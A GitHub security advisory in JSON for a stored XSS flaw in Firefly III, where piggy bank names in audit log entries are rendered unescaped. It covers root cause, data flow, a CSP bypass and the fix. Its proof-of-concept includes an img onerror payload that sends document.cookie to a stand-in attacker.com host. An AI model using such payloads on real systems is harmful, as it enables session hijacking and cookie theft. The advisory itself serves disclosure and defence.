{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "grumpydictator/firefly-iii"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T15:04:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig\u0027s auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction\u0027s audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `\u003cspan\u003e` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time \u2014 `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"\u003cimg src=x onerror=...\u003e\"}\n  \u2192 Stored verbatim in piggy_banks.name\n  \u2192 Transaction rule fires add_to_piggy / remove_from_piggy\n  \u2192 UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n  \u2192 Any user views /transactions/show/{id}\n  \u2192 ale.twig outputs unescaped payload \u2192 XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src \u0027nonce-...\u0027 \u0027strict-dynamic\u0027`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `\u003cimg onerror=...\u003e` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"\u003cimg src=x onerror=fetch(\u0027https://attacker.com?c=\u0027+document.cookie)\u003e\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker\u0027s piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` \u2192 payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded \u003cspan class=\"text-success money-positive\"\u003eEUR 50.00\u003c/span\u003e to piggy bank\n\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\n```\n\n## Impact\n\n- Stored XSS persists in DB \u2014 fires for every user who views the transaction\n- Cookie theft \u2192 session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy|e\n})|raw }}\n```",
  "id": "GHSA-6jq6-x4cx-qvcm",
  "modified": "2026-06-12T15:04:50Z",
  "published": "2026-06-12T15:04:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/firefly-iii/firefly-iii/security/advisories/GHSA-6jq6-x4cx-qvcm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/firefly-iii/firefly-iii/pull/12271"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/firefly-iii/firefly-iii"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)"
}